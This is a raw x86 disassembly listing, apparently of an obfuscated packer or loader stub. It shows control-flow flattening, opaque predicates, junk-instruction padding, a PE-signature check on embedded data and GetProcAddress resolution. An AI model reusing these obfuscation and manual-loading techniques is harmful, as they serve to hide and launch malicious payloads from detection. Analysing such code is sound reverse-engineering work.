cmove eax, edx
jmp 0x402260
cmp eax, 0xcf41bac
jg 0x405564
cmp eax, 0xa541a6b
jg 0x406a7a
cmp eax, 0x5e6d65c
je 0x40a01a
cmp eax, 0x626b8c3
je 0x40a033
cmp eax, 0x818e997
jne 0x402260
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x55aab4ab
mov esi, edx
and esi, 0xaa554b54
mov edi, edx
or edi, 0x100aa000
and edx, 0xc5042df
or ecx, esi
and edi, 0x184bf00b
mov esi, ecx
xor esi, 0x1000400
or ecx, 0x841500b
and ecx, 0x184bf00b
and esi, 0x1100e10
or esi, ecx
mov ecx, eax
and ecx, 0xe6a401e4
and eax, 0xf3afbd20
or ecx, edi
or eax, edx
xor ecx, esi
mov esi, ecx
not esi
and ecx, 0x98cee694
and esi, 0x6731196b
or ecx, esi
mov esi, 0xb937c7df
mov edi, ecx
xor edi, 0x80944001
xor ecx, 0x762bb77a
mov edx, ecx
and edx, 0x4960bacc
and edi, 0xb69f4533
or edi, edx
mov edx, eax
xor edx, 0xb28f0520
xor eax, 0x84002cc
and eax, 0x4960bacc
and edx, 0xb69f4533
or edx, eax
xor edx, edi
xor ecx, edx
test ecx, edx
sete dl
cmp dword [0x460980], 0xa
setge cl
setl al
inc cl
xor al, dl
mov ah, cl
xor cl, dl
or ah, dl
mov edx, eax
xor ah, 1
xor dl, 1
or cl, ah
mov ah, cl
and cl, al
xor ah, 1
and dl, ah
or dl, cl
mov ecx, eax
xor cl, ah
or ah, al
xor ah, 1
or ah, cl
mov cl, ah
xor cl, dl
test ah, 1
mov eax, 0xbed3c137
cmovne eax, esi
test dl, dl
mov edx, 0xbed3c137
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402260
cmp eax, 0x8e7a6a19
jg 0x40559a
cmp eax, 0x8c9737cb
jg 0x406aa8
cmp eax, 0x8b2825b2
je 0x40a12d
cmp eax, 0x8c6d68a8
je 0x40a137
cmp eax, 0x8c732866
jne 0x402260
mov eax, 0x3914e94f
jmp 0x402260
cmp eax, 0x4db910a8
jg 0x405766
cmp eax, 0x494009e8
jg 0x406ada
cmp eax, 0x479fc5cb
je 0x40a309
cmp eax, 0x4836495f
je 0x40a313
cmp eax, 0x49163f3e
jne 0x402260
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x81b91a78
mov edx, ecx
and edx, 0x7e46e586
and ecx, 0x7a4e008c
or esi, edx
mov edx, eax
and edx, 1
and eax, 0x85b1ff73
mov edi, esi
xor edi, 0x80880a48
xor esi, 0x8406000
or eax, ecx
or edx, edi
and esi, 0x9717030
xor eax, 0x85b1ff73
and edx, 0xf68e8fcf
or edx, esi
xor edx, 0xf68e8fcf
or eax, edx
xor eax, 0xffffffff
sete dl
setne ah
cmp dword [0x460980], 0xa
setge al
setl ch
mov cl, al
or al, ah
and ah, ch
and cl, dl
xor dl, ch
xor al, 1
or al, dl
xor dl, 1
or cl, ah
mov ah, dl
xor ah, al
or al, dl
mov edx, ecx
xor al, 1
or al, ah
xor dl, al
xor al, 1
mov ch, al
or al, cl
xor dl, 1
xor al, 1
xor ch, cl
or al, dl
mov edx, 0x1e23d22e
mov cl, al
xor cl, ch
test al, 1
mov eax, 0xedaccdbc
cmovne eax, edx
test ch, 1
cmove eax, edx
test cl, 1
mov edx, 0xedaccdbc
cmove eax, edx
jmp 0x402260
cmp eax, 0xcabc9eee
jg 0x4057a5
cmp eax, 0xc8f2d218
jg 0x406b05
cmp eax, 0xc4db2fb1
je 0x40a458
cmp eax, 0xc67671d3
je 0x40a582
cmp eax, 0xc7098d25
jne 0x402260
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x326040
and eax, 0x300c0205
mov edx, ecx
or edx, 0xe011498
and esi, 0xe3374d8
and ecx, 0xc1c08922
and edx, 0xe3374d8
or ecx, esi
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0xcfc19dba
and ecx, 0x303e6245
or eax, ecx
mov esi, eax
not esi
mov edx, eax
and edx, 0xe2544a83
and eax, 0xcc76f0c8
mov ecx, esi
and esi, 0x1dabb57c
or ecx, 1
or edx, esi
mov esi, ecx
and esi, 0x33890f37
or eax, esi
mov esi, edx
xor esi, 0xc0544080
xor edx, 0x1dabb57d
or ecx, edx
and edx, 0x33890f37
and esi, 0xcc76f0c8
or esi, edx
not ecx
xor esi, eax
or ecx, esi
mov esi, 0xfcd27ebe
mov eax, ecx
not eax
and ecx, 0xdf10a363
and eax, 0x20ef5c9c
or ecx, eax
xor ecx, 0xdf10a363
sete cl
setne al
cmp dword [0x460980], 0xa
setge dl
setl ch
mov ah, dl
or dl, al
xor ah, al
xor al, ch
and ah, cl
not al
mov cl, dl
and al, ch
xor ah, 1
xor cl, 1
xor al, 1
mov ch, ah
xor ch, al
or al, ah
xor al, 1
or al, ch
mov ch, cl
and ch, dl
xor ch, 1
mov ah, ch
or ch, dl
xor ah, dl
xor ch, 1
mov edx, eax
or ch, ah
xor dl, 1
mov ah, ch
and ch, dl
mov edx, ecx
xor ah, 1
xor dl, al
and ah, al
or al, cl
xor al, 1
or ch, ah
or al, dl
mov edx, 0x92c3c2ef
mov cl, al
xor cl, ch
test cl, 1
cmovne edx, esi
test al, 1
mov eax, 0x92c3c2ef
cmovne eax, edx
test ch, 1
cmove eax, edx
jmp 0x402260
cmp eax, 0x2e94fe2f
jg 0x4057ea
cmp eax, 0x2cecab2c
jg 0x406be9
cmp eax, 0x2b34c1c1
je 0x40a666
cmp eax, 0x2c795d92
je 0x40a81c
cmp eax, 0x2c824da8
jne 0x402260
mov eax, dword [ebp - 0x150]
mov eax, dword [eax + 0x1c]
mov dword [ebp - 0x154], eax
mov eax, 0x9769837c
jmp 0x402260
cmp eax, 0xa63ef307
jg 0x4058e6
cmp eax, 0xa584a2f1
jg 0x406c48
cmp eax, 0xa42841a6
je 0x40a826
cmp eax, 0xa53b0758
je 0x40a833
cmp eax, 0xa5496682
jne 0x402260
mov eax, 0xe19cb5e
mov dword [ebp - 0x24], 5
jmp 0x402260
cmp eax, 0x6d240aa2
jg 0x405a20
cmp eax, 0x6a322119
jg 0x406d59
cmp eax, 0x696141c8
je 0x40a92d
cmp eax, 0x69752377
je 0x40a953
cmp eax, 0x69af0c6d
jne 0x402260
mov eax, 0xff5d855e
jmp 0x402260
cmp eax, 0xf5a543eb
jg 0x405a61
cmp eax, 0xf37ca52c
jg 0x406d93
cmp eax, 0xf1b76480
je 0x40a95d
cmp eax, 0xf20bc642
je 0x40a967
cmp eax, 0xf2b09147
jne 0x402260
mov eax, dword [ebp - 0x108]
mov eax, dword [ebp - 0x10c]
mov eax, 0x570ca20
jmp 0x402260
cmp eax, 0x1b651998
jg 0x406dd5
cmp eax, 0x19693461
je 0x40a97d
cmp eax, 0x1b2710be
je 0x40a987
cmp eax, 0x1b3d1104
jne 0x402260
mov eax, dword [ebp - 0x18]
cmp dword [eax], 0
mov eax, 0xc4ab3541
sets byte [ebp - 0x9c]
jmp 0x402260
cmp eax, 0x9a161093
jg 0x406e00
cmp eax, 0x9923907a
je 0x40aa96
cmp eax, 0x99a0aaa3
je 0x40aaa0
cmp eax, 0x9a068c4f
jne 0x402260
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x7926c791
and ecx, 0x77a5776
mov esi, eax
and esi, 0x86d9386e
and eax, 0xf885a889
or edx, esi
or eax, ecx
mov esi, edx
not esi
and edx, 0xbba98a33
and esi, 0x445675cc
or edx, esi
mov esi, edx
xor esi, 0x3800a008
xor edx, 0xc28f4da3
mov edi, edx
and edi, 0x77a5776
and esi, 0xf885a889
or esi, edi
xor eax, esi
mov esi, 0x6708878b
xor edx, eax
test edx, eax
setne cl
cmp dword [0x460980], 0xa
mov eax, ecx
setge dl
or al, dl
xor cl, dl
mov edx, ecx
mov ah, al
and cl, al
xor dl, 1
not ah
or al, dl
and dl, ah
or dl, cl
mov ecx, eax
xor cl, dl
mov ecx, 0xbad50004
cmovne ecx, esi
test dl, dl
mov esi, 0xbad50004
jmp 0x40c663
cmp eax, 0x5bae70e1
jg 0x406f2a
cmp eax, 0x5a931c68
je 0x40aab3
cmp eax, 0x5b01cbfb
je 0x40aacc
cmp eax, 0x5bab12d6
jne 0x402260
mov eax, dword [ebp - 0x40]
mov eax, 0x67dbf312
jmp 0x402260
cmp eax, 0xd81cd232
jg 0x406f64
cmp eax, 0xd729d007
je 0x40ac57
cmp eax, 0xd72f914f
je 0x40ac61
cmp eax, 0xd7d62413
jne 0x402260
push eax
mov eax, esp
mov dword [ebp - 0x4c], eax
push eax
mov eax, esp
mov dword [ebp - 0xb0], eax
push eax
mov eax, esp
mov dword [ebp - 0x5c], eax
push eax
mov eax, esp
mov dword [ebp - 0x7c], eax
push eax
mov eax, esp
mov dword [ebp - 0x40], eax
push eax
mov eax, esp
mov dword [ebp - 0xb4], eax
push eax
mov eax, esp
mov dword [ebp - 0x60], eax
push eax
mov eax, esp
mov dword [ebp - 0xcc], eax
push eax
mov eax, esp
mov dword [ebp - 0x1c], eax
push eax
mov eax, esp
mov dword [ebp - 0x3c], eax
push eax
mov eax, esp
mov dword [ebp - 0x18], eax
push eax
mov eax, esp
mov dword [ebp - 0x64], eax
push eax
mov eax, esp
mov dword [ebp - 0x88], eax
push eax
mov eax, esp
mov dword [ebp - 0x68], eax
push eax
mov eax, esp
mov dword [ebp - 0x50], eax
sub esp, 0x78
mov eax, esp
mov dword [ebp - 0x6c], eax
push eax
mov eax, esp
mov dword [ebp - 0x70], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0xc8], eax
push eax
mov eax, esp
mov dword [ebp - 0xb8], eax
ror eax, 0x8f
inc edx
rcl esi, 0x13
sub esi, 0x89
add edx, 0xf
rcl eax, 0x41
neg eax
imul edi
rol edx, 0x48
bswap edx
add ebx, 0x2e
imul esi
sbb edx, 0xbe
neg edi
neg edx
add edx, 0xa
ror eax, 0xcd
rcr eax, 0xae
imul ebx
sub esi, 0xfd
dec edx
not edx
bswap ebx
neg edi
neg eax
bswap edx
neg edx
rcr edx, 0x35
and ebx, 0xef
bswap edi
imul edi
dec ebx
dec esi
dec edx
rol eax, 0x9f
mov esi, 0x2d
inc ebx
inc edx
not edi
rol eax, 0xac
rcl eax, 0x2a
or esi, 0x7e
rcl ebx, 0x54
inc edx
inc edx
add edi, 0x22
not eax
add esi, 0x23
sbb esi, 0xd2
dec eax
add eax, 0xc0
not eax
add eax, 0x73
neg ebx
sbb esi, 0x10
and esi, 0xc1
or eax, 0x82
not eax
dec esi
neg esi
imul edx
not edx
ror esi, 7
ror edx, 0xb0
add esi, 0xbb
dec ebx
inc edx
rcr eax, 0x95
ror esi, 0x1e
inc edi
mov edx, 0x3b
inc esi
sbb ebx, 0
neg eax
bswap ebx
dec edx
neg edi
neg ebx
and esi, 0x80
sub esi, 0xc6
rcl edx, 0x2e
neg edi
neg ebx
rol edi, 0x31
add ebx, 0x5d
neg edi
mov ebx, 1
sub eax, 0x69
sbb ebx, 0x3d
mov eax, 0x38
neg edx
bswap edx
not ebx
mov ebx, 0xbf
rcr ebx, 0x38
inc esi
bswap ebx
not ebx
bswap edi
bswap esi
neg eax
rol edi, 0xf8
mov eax, 0x79
bswap edi
rcr edx, 0x2e
not ebx
or edx, 0xe8
and ebx, 0x4d
mov edi, 0x33
bswap ebx
imul edi
not eax
bswap edi
add edi, 0xe9
rcr esi, 0xad
add edx, 0x1c
neg eax
rcr eax, 0x47
imul ebx
sbb edx, 0x29
and esi, 0xce
add esi, 0xb7
add eax, 0xa5
inc edi
add esi, 0x40
imul edx
add esi, 0x91
neg ebx
imul edx
dec eax
dec esi
rol eax, 0x86
rcr edx, 0xb1
rcl esi, 0x81
sub edi, 0x60
mov eax, 0xdd
rcr eax, 0x7f
bswap ebx
ror edx, 0x75
or edx, 0x52
add edi, 0x7e
inc ebx
bswap edx
sub eax, 7
or eax, 0x60
bswap esi
rol edx, 0x95
rol edx, 0x43
add esi, 0xfe
rcl edx, 0x3b
dec edx
bswap eax
rol eax, 0xe9
rcl edx, 0xbb
rcl ebx, 0x23
mov edx, 0xd1
imul edx
neg edi
sbb eax, 0x40
sub edx, 8
inc edi
sbb esi, 0x9e
not eax
imul edi
inc ebx
dec eax
sbb eax, 0xf9
inc ebx
rcr edx, 0x2c
inc eax
sub eax, 0xd7
inc eax
bswap eax
bswap eax
mov ebx, 0x9d
rcr ebx, 0xe
and esi, 0x6c
bswap esi
rol ebx, 0x4b
inc ebx
add edi, 0xb
rcr edi, 0x5c
dec edx
mov ebx, 0x49
neg edi
add eax, 0xe0
or edx, 0x1e
sbb eax, 7
sbb edi, 0x79
bswap ebx
inc edi
inc edi
rol esi, 0x59
rol ebx, 0x2d
not edi
not edx
dec eax
inc edi
bswap edi
not esi
neg esi
inc eax
add esi, 0x4b
or edx, 0x5d
sbb edi, 0x1c
not eax
not edx
bswap eax
ror eax, 0x96
not edi
bswap eax
or ebx, 0x5e
and eax, 0x2c
inc ebx
or ebx, 0x32
neg ebx
not edx
rcr edx, 0xfb
bswap ebx
mov esi, 0x77
and edx, 0x88
not edx
dec esi
rcr edx, 0xe9
inc eax
rcl eax, 0xf3
neg ebx
and esi, 0xf2
neg ebx
inc ebx
add edx, 0x57
mov edx, 0xea
neg esi
bswap ebx
rcr ebx, 0x18
bswap esi
imul eax
not esi
mov edx, 0x71
sbb eax, 0x8d
imul edi
rol ebx, 0xe1
neg esi
and ebx, 0x73
imul ebx
sub edx, 0xf2
rcr edx, 0x7b
rol eax, 0x27
neg eax
bswap ebx
dec ebx
sbb edi, 0xdd
rol eax, 0xb
bswap ebx
mov edi, 0x64
mov eax, 0xdc
imul esi
sbb edi, 0x8d
not eax
not eax
bswap ebx
dec eax
sbb edx, 0x28
inc eax
sub eax, 0x7d
rol edx, 0xe1
not esi
add eax, 0xdc
or ebx, 0x2f
ror edi, 0xbb
or eax, 0xb9
mov edi, 0x79
ror ebx, 0x37
rcl edx, 0xc5
add eax, 0x94
dec edi
rcr esi, 0xc7
add edi, 0x6e
rcr eax, 0xb2
ror esi, 0x7d
dec eax
inc esi
imul esi
sub edi, 0x70
add edx, 0xcc
imul ebx
add ebx, 0xde
sbb edx, 0x55
sbb ebx, 0xbc
rcl edi, 0xae
inc edx
rol edx, 0xce
sub edi, 0xd3
inc eax
mov edx, 0x94
rcr edx, 0xe0
sbb edx, 0x84
and edx, 0x82
sbb eax, 0x96
dec edi
sub edi, 0xa7
dec ebx
add edx, 0x63
sbb eax, 0xf3
dec ebx
or ebx, 0xf0
imul edx
sub ebx, 0x4e
neg edi
inc edi
rol edx, 0x54
inc edi
mov eax, 0xe7
or esi, 0x4c
imul esi
sub eax, 0x27
rcl ebx, 0x27
not eax
bswap eax
add eax, 0x4a
bswap ebx
or edi, 0x7e
not esi
not eax
inc ebx
add eax, 0x4a
neg edx
neg eax
dec esi
ror eax, 0x69
and esi, 0x29
add eax, 0x73
sub eax, 0x5c
neg edi
mov edx, 0x13
bswap ebx
mov esi, 0x3e
sub ebx, 0x64
inc edx
dec ebx
rcr esi, 0x7f
ror esi, 0x5d
sub eax, 0xfd
rcr edx, 0x22
and eax, 0xbd
bswap eax
bswap edi
ror eax, 0x73
sbb eax, 0x77
bswap edx
dec ebx
bswap edi
imul edi
ror edi, 0xc
inc edi
rol eax, 0xef
ror ebx, 2
imul esi
rcl esi, 0xf0
inc ebx
not ebx
bswap edx
bswap ebx
add ebx, 0x95
rcl eax, 0xf4
dec esi
or ebx, 0x83
or ebx, 0x95
not edx
imul esi
neg edx
bswap edi
imul ebx
bswap esi
rcl ebx, 0xdd
dec edx
imul esi
and edi, 0x22
imul edx
ror eax, 0x32
mov esi, 0xc7
rcl edx, 0x5b
or edx, 0x71
imul edi
rol edx, 0xbe
and ebx, 0x7c
or edx, 0xe3
neg ebx
neg edi
rcl ebx, 0xb0
and eax, 0x6f
dec edi
ror edx, 0x67
bswap esi
imul edx
and eax, 0x42
mov edx, 0x56
imul ebx
not edx
rcl edi, 0x81
not eax
add esi, 0xf3
not edi
rol ebx, 0xc
add esi, 0x68
add esi, 0x60
sub eax, 0xe0
rcr edx, 0x2d
add edi, 0x90
or edx, 0xcc
or edx, 0x2a
imul edi
sub esi, 0xc5
add esi, 0xbe
add esi, 0x4f
inc ebx
not ebx
not edi
dec edx
or edi, 0xf9
neg edi
neg edi
mov esi, 0x94
imul edx
bswap esi
neg edx
neg ebx
imul ebx
rol edi, 0xab
neg esi
neg eax
ror edi, 0x3d
not ebx
or eax, 0x4d
ror eax, 0xa5
add ebx, 0x83
dec eax
neg edi
neg edi
dec eax
inc eax
or edx, 0x41
inc ebx
not edx
inc edx
ror eax, 0x72
inc edx
mov edx, 0x5b
rcl esi, 0x2d
imul eax
bswap eax
not esi
imul ebx
dec edi
sub esi, 0x8e
sub eax, 0xb0
add edx, 0xd1
sub edx, 0x1b
or edx, 0x57
add eax, 0xc3
dec eax
sub ebx, 0xaf
imul edx
dec eax
imul esi
imul edx
sbb edx, 0xe
dec eax
rcl edx, 0x6c
dec edx
rcr ebx, 0xe7
rcr edx, 0x39
and eax, 0xee
dec eax
mov eax, 0xe7
neg edx
and edx, 0x7b
dec eax
inc edi
ror eax, 0xd2
dec eax
dec edi
or edi, 0x37
sbb esi, 0xcc
imul esi
inc edi
neg edx
neg eax
not edi
bswap esi
sub edx, 0x36
not eax
imul edx
rcr ebx, 0x87
sbb edx, 0x6e
imul edx
neg esi
bswap ebx
inc ebx
rcl ebx, 0xe1
neg ebx
not edx
not edi
imul esi
rcr ebx, 0x21
bswap ebx
inc edi
rcl edi, 0x4e
add eax, 0xe3
neg edi
inc esi
sub edx, 0xdb
imul eax
dec ebx
imul edi
dec eax
neg eax
neg ebx
add eax, 0xb3
bswap ebx
add ebx, 0xdc
imul edx
inc edx
neg eax
rcl eax, 0xc7
add eax, 0x69
neg edx
rol edi, 0x74
dec esi
dec eax
dec edi
mov esi, 0xd1
inc eax
imul edx
dec edi
dec edi
dec esi
not edi
not esi
or edi, 0xe1
add ebx, 0xc3
imul esi
rcr ebx, 0xe5
sbb esi, 0xc6
or eax, 0xdc
and edx, 0x17
not esi
sub eax, 0x27
ror esi, 0x77
rcl edi, 0xe3
mov eax, 0x41
dec edi
and esi, 0x12
imul edi
sbb esi, 0xb
mov esi, 0x33
and edx, 0xb1
ror ebx, 0x44
sbb edx, 0xae
not edx
sub esi, 0x30
rcl ebx, 0xb3
or edx, 0xf
not edi
not edx
sbb eax, 0x8b
or edx, 0xb9
neg edi
imul ebx
rol edi, 0xda
neg eax
imul edi
mov esi, 0xee
imul ebx
rcl esi, 0x80
neg ebx
dec ebx
not edx
not esi
ror edx, 0x6b
imul edi
neg edi
neg edx
rcr esi, 0xea
rcl ebx, 0x1d
dec edi
neg eax
bswap edi
inc esi
or ebx, 0x6e
sbb esi, 0xc3
add edx, 0xa4
ror edx, 0x32
neg eax
dec edi
dec eax
imul edx
ror eax, 0xa
dec esi
rcl esi, 0xeb
push 0x1b600
push section..data
vzeroupper
call section..text
add esp, 8
mov ebx, 0xa3
bswap edx
sub edi, 0xaa
not edx
inc esi
sub ebx, 0xb6
neg edx
sbb ebx, 0xcc
and eax, 0x1a
bswap esi
bswap eax
imul edi
inc eax
imul ebx
and edi, 0xed
rol esi, 0xee
rol ebx, 0xf
mov edi, 0xff
sub ebx, 0xf6
or eax, 0x9e
and ebx, 0xf6
and eax, 6
not ebx
imul edx
and ebx, 0x79
neg edx
bswap edi
and esi, 0x38
rcl ebx, 0x93
rcr eax, 0x2e
sub eax, 0xcb
not ebx
dec edx
inc eax
rcl edi, 0x75
rcl esi, 0xf3
dec edi
bswap edx
dec edi
ror eax, 0x8d
neg esi
ror esi, 0x47
imul esi
rcr eax, 0xfa
imul eax
neg edx
dec ebx
imul esi
not edi
dec esi
dec ebx
inc eax
bswap ebx
imul edi
add esi, 0xad
sub eax, 0xb0
rcr esi, 0xef
not edx
mov edi, 0x27
imul eax
mov ebx, 0x30
and ebx, 0x58
dec eax
rol edi, 0xa3
imul edi
sub edi, 0x2c
ror edx, 0x44
not edx
or edi, 6
sbb eax, 0xf6
dec edi
imul ebx
imul eax
not edi
rol edx, 0xec
inc edx
bswap eax
add esi, 0x62
rol edi, 0x38
bswap edi
inc eax
mov esi, 0x5a
sub ebx, 0x6e
bswap edx
imul eax
or eax, 0x9c
imul eax
ror ebx, 0x27
mov edx, 0xa9
inc eax
and ebx, 0xf
rcr edx, 0x88
or ebx, 0xd6
dec edx
not edx
or edx, 0x22
dec esi
neg esi
bswap ebx
inc edi
inc ebx
neg edx
sub edi, 0xcb
rol eax, 0xd9
sbb eax, 0x64
or eax, 0x53
rcl esi, 0x71
neg eax
bswap esi
mov edi, 0x1f
dec ebx
mov edi, 0xe0
inc edi
rcl eax, 0xa5
and esi, 0x29
bswap edi
not esi
add ebx, 0x57
neg eax
sub edx, 0xf4
rcr ebx, 0x79
inc ebx
rcl ebx, 0x23
dec esi
or eax, 0x26
imul esi
rcr edi, 0xa3
and edi, 0x67
or edi, 0x46
rcr edi, 0x6f
dec edx
inc edi
sub edx, 0xf1
rcl eax, 0x8d
imul ebx
rcr edx, 0x9b
rcl edi, 0x61
not esi
dec edi
not esi
sbb esi, 0x1c
imul esi
sbb ebx, 0x40
mov esi, 0x61
add edx, 0x68
not eax
rcr eax, 0xc6
mov edx, 0xc
add esi, 0x60
mov esi, 0xae
not ebx
sbb edi, 0x5f
rcr edi, 0x34
rcl edi, 0xaa
or eax, 0x73
sbb ebx, 8
imul eax
rcr edi, 0xd4
dec edx
or ebx, 0xf3
inc eax
add eax, 0xf5
dec esi
not edi
add edx, 0x64
or eax, 8
not esi
inc ebx
or esi, 0x61
rcl edi, 0x1d
rcr ebx, 0x2e
imul eax
bswap eax
not edx
sub edx, 0xb8
neg edi
not eax
inc edx
imul eax
imul eax
inc edi
neg edx
mov ebx, 0xcb
not edx
sub ebx, 0x30
mov edi, 0xfb
sub esi, 0x6f
neg edx
dec eax
imul edx
mov esi, 0x66
dec ebx
mov edx, 0xb4
add esi, 0x20
sbb esi, 0xb1
add edi, 0xfe
dec ebx
dec ebx
not edi
inc esi
rol eax, 0x38
imul edx
inc esi
add esi, 0x9b
rcr ebx, 0xb1
rcl ebx, 0x81
rol edx, 0x87
bswap edi
and eax, 0xe8
and edi, 0xa4
or esi, 0x73
mov edi, 0xdf
bswap eax
ror edx, 0xbb
rcl edx, 5
sbb eax, 0x3c
sbb eax, 0x8d
rcl edx, 0x8b
bswap esi
not edi
imul esi
not edi
sub edi, 0x27
sub esi, 0xa9
neg esi
rcr edi, 6
bswap edx
not edx
neg ebx
rol edx, 0xb2
mov edi, 0xdb
mov edx, 0xbf
sub edx, 0xf1
inc edx
or eax, 0x5b
imul edi
and edx, 0x5d
dec edx
and ebx, 0x7e
dec ebx
rol edi, 0x97
and ebx, 0x3d
and edx, 0xb8
neg eax
imul eax
rol edx, 0x2c
imul ebx
inc eax
rcr eax, 0x31
imul edx
imul esi
dec esi
and eax, 0xb9
add ebx, 0xfc
sbb esi, 0x60
imul edi
bswap ebx
imul edx
sub eax, 0xe8
rcr eax, 0x55
and eax, 0x3d
imul edx
or edx, 0x67
rol esi, 0x2b
ror edi, 0x8d
rol ebx, 0x11
imul eax
inc edi
imul edx
mov edx, 0x77
not edi
neg esi
inc edx
imul esi
dec ebx
mov edx, 0x58
dec ebx
and edi, 0x46
rol esi, 0xf8
mov edx, 0x11
neg esi
neg ebx
sub ebx, 0xd1
imul edx
dec eax
rcr ebx, 0xdb
dec eax
dec eax
inc edi
add ebx, 0xc9
not esi
inc edi
sbb ebx, 0x8a
mov edx, 6
bswap esi
sub edx, 0xc3
rcl eax, 0xeb
neg esi
imul edx
or edx, 0xdf
ror ebx, 0x8c
not eax
or esi, 0x23
not esi
inc edx
sub esi, 0x32
imul ebx
not ebx
not edi
rol ebx, 0x1a
inc eax
bswap esi
dec esi
sub esi, 0xd
rol esi, 0xdc
rol eax, 0x44
mov ebx, 0x7c
imul ebx
ror ebx, 0xd
ror edi, 0x79
not ebx
neg eax
sbb eax, 0xb4
dec eax
add esi, 0x9e
dec edx
neg edx
ror eax, 0x5b
add esi, 0xba
add edi, 0x24
not eax
rcr edx, 0xa7
bswap edx
or eax, 0x15
not edx
not ebx
inc eax
ror edx, 0xf9
mov edi, 0xb6
mov eax, 0xbd
bswap esi
neg eax
bswap esi
inc esi
sub edx, 0x1a
inc eax
sbb edi, 0x3e
rcr esi, 0xa4
bswap edx
or eax, 0xd6
and eax, 0x3d
not ebx
sbb esi, 0xde
inc esi
mov edi, 0x25
inc edi
ror edx, 0x64
imul eax
rcl edx, 0x79
sbb edx, 7
rcl eax, 0x66
sbb edx, 0x33
dec edi
not edi
sbb edx, 0xa
inc eax
bswap ebx
not esi
sbb edx, 0xe9
inc esi
rcr esi, 0xd
neg edx
not edi
mov eax, 0xc
bswap ebx
bswap edx
neg eax
rcl edx, 0x6f
dec ebx
rol eax, 0x7e
sbb eax, 6
rcl edi, 0xbe
and ebx, 0x61
inc edx
neg edx
bswap esi
sbb esi, 5
sbb eax, 0xb7
or ebx, 0x65
neg eax
neg edx
sbb eax, 0x15
or edx, 0x3f
or esi, 0x96
ror edi, 0x3f
inc edi
imul eax
sub eax, 0x89
mov eax, 0x5a
and ebx, 0x52
mov dword [ebp - 0x20], eax
mov eax, dword [0x44403c]
cmp dword [eax + section..data], 0x4550
lea ecx, [eax + section..data]
mov eax, 0x3331e098
mov dword [ebp - 0x28], ecx
mov ecx, 0xf5a543ec
cmove eax, ecx
jmp 0x402260
cmp eax, 0x3bb5e531
jg 0x40708a
cmp eax, 0x3914e94f
je 0x40ac6b
cmp eax, 0x39c4bb4c
je 0x40ac80
cmp eax, 0x3b9a0fa4
jne 0x402260
mov eax, dword [0x460984]
mov edi, 0xb8ea2070
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xa858870e
and eax, ecx
not ecx
or ecx, eax
not eax
and eax, 0x57a778f1
and ecx, 0xa858870e
or ecx, eax
mov esi, ecx
not esi
mov edx, ecx
and edx, 1
and ecx, 0xfc0315d2
mov eax, esi
and esi, 0xfffffffe
or eax, 1
or edx, esi
mov esi, eax
and esi, 0x3fcea2d
or ecx, esi
mov esi, edx
not esi
and edx, 0xfc0315d2
or eax, esi
and esi, 0x3fcea2d
or edx, esi
not eax
xor edx, ecx
or eax, edx
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0x86d75bbe
mov esi, eax
or esi, 0x1928a001
and ecx, eax
and esi, 0x9f7ff1b1
and edx, 0x800a0e
or edx, esi
mov esi, ecx
not esi
and ecx, 0x60800e4e
or eax, esi
and esi, 0x9f7ff1b1
or ecx, esi
not eax
mov esi, 0xa1aff802
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0x7928a441
and eax, 0x86d75bbe
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x8a5ffd7c
and ecx, 0x75a00283
or ecx, eax
mov eax, ecx
xor eax, 0x8a4d0500
xor ecx, 0x15200001
and ecx, 0x1532f87d
and eax, 0xeacd0782
or eax, ecx
cmp eax, 0xeacd0782
sete dl
cmp dword [0x460980], 0xa
setge al
mov ah, al
xor ah, dl
xor ah, 1
mov cl, ah
and ah, dl
or cl, al
or al, dl
xor al, 1
xor cl, 1
or al, ah
xor al, cl
mov edx, eax
xor dl, 1
and cl, dl
xor dl, cl
test dl, 1
mov edx, 0xb8ea2070
jmp 0x40bedb
cmp eax, 0xb6fc8b91
jg 0x4070df
cmp eax, 0xb3fa1f1d
je 0x40adf8
cmp eax, 0xb547318c
je 0x40ae0e
cmp eax, 0xb633c7d8
jne 0x402260
mov eax, dword [ebp - 0x1a4]
mov ecx, dword [ebp - 0x5c]
add eax, 2
push eax
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x60]
mov dword [ecx], eax
mov eax, 0x62a5e2f8
jmp 0x402260
cmp eax, 0x7b2c2111
jg 0x407255
cmp eax, 0x79918ab4
je 0x40ae1b
cmp eax, 0x79d76259
je 0x40ae34
cmp eax, 0x7a4fd38a
jne 0x402260
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov edx, eax
andn ecx, eax, eax
not eax
and edx, 0xa30ed16e
and eax, 0x5cf12e91
or edx, eax
xor edx, 0xa30ed16e
or ecx, edx
mov edi, ecx
not edi
mov ebx, ecx
and ebx, 0xedb47370
and ecx, 0x40f02070
mov eax, edi
and eax, 0x124b8c8f
or edi, 0x9e0bda87
or ebx, eax
mov eax, ebx
mov edx, ebx
xor edx, 0xedb47370
xor ebx, 0x8c405608
xor eax, 0x124b8c8f
and ebx, edx
and eax, 0xdfffffff
mov edx, ebx
not edx
and ebx, 0xd6fab076
mov esi, edx
or edx, edi
and esi, 0x29054f89
and edi, 0x29054f89
or ebx, esi
or ecx, edi
not edx
xor ecx, ebx
or edx, ecx
mov ecx, edx
not ecx
and edx, 0x9426e6c2
and ecx, 0x6bd9193d
or edx, ecx
xor edx, 0x2a2d3c45
or eax, edx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xa06ee2
and ecx, 0xff5f911d
or ecx, edx
xor ecx, 0xa06ee2
xor eax, ecx
and eax, ecx
mov dword [ebp - 0x134], eax
mov eax, 0x56075030
jmp 0x402260
cmp eax, 0xe539d5e8
jg 0x407280
cmp eax, 0xe3bcc440
je 0x40ae3e
